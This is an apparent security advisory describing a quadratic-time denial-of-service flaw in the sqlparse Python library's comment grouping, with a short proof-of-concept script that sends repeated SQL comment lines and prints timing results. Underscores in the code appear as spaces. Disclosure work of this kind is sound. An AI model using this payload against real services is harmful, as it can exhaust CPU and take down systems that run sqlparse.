PT-2026-80668 · Pypi · Sqlparse

Publicado

2026-08-19

·

Atualizado

2026-08-19

CVSS v4.0

8.7

Alta

VetorAV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Summary

A comment-only statement (-- c *n) may cause a Denial of Service (DoS).

Details

Location: sqlparse/engine/grouping.py:331-341 (group comments), invoked first in group() at grouping.py:439. Reachable via sqlparse.parse() and sqlparse.format(sql, strip comments=True).
A statement made of many single-line comments ('-- c ' repeated) lexes in O(n) but group comments is O(n²):
python
def group comments(tlist):
  tidx, token = tlist.token next by(t=T.Comment)
  while token:
    eidx, end = tlist.token not matching(
      lambda tk: imt(tk, t=T.Comment) or tk.is newline, idx=tidx)
    ...
    tidx, token = tlist.token next by(t=T.Comment, idx=tidx)
The while loop runs n times and each token next by / token not matching rescans the O(n) remaining tokens. When all tokens are comments/newlines nothing ever groups, yet the full scan is repeated per token.
Two following factors increase the severity:
  1. group comments runs first in group() (grouping.py:439), before the group matching token-count guard (grouping.py:34-39). So the entire quadratic cost is paid even on oversized input. MAX GROUPING TOKENS does not provide protection on this vector.
  2. It sits on the primary sanitizer path: format(sql, strip comments=True), used by query loggers, SQL firewalls, ORMs, and migration tools.

PoC

Tested using Python 3.14:
python
import time, sqlparse
for n in (1000, 2000, 4000):
  s = "-- c
" * n
  t = time.perf counter()
  sqlparse.format(s, strip comments=True)
  print(f"n={n:5d} format(strip comments)={1000*(time.perf counter()-t):7.1f} ms")
Output:
n= 1000 format(strip comments)= 106.0 ms
n= 2000 format(strip comments)= 403.3 ms
n= 4000 format(strip comments)= 1602.8 ms
Time increase of ~4× per 2× input (quadratic). parse() shows the identical curve. Instrumented scan counts are exactly 1.0M / 4.0M / 16.0M tokens for n=1000/2000/4000. A ~250 KB comment-only payload forces minutes of CPU regardless of the 10000 token cap.

Impact

Denial of Service

Correção

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
dbugs@ptsecurity.com

Identificadores relacionados

PYSEC-2026-3697

Produtos afetados

Sqlparse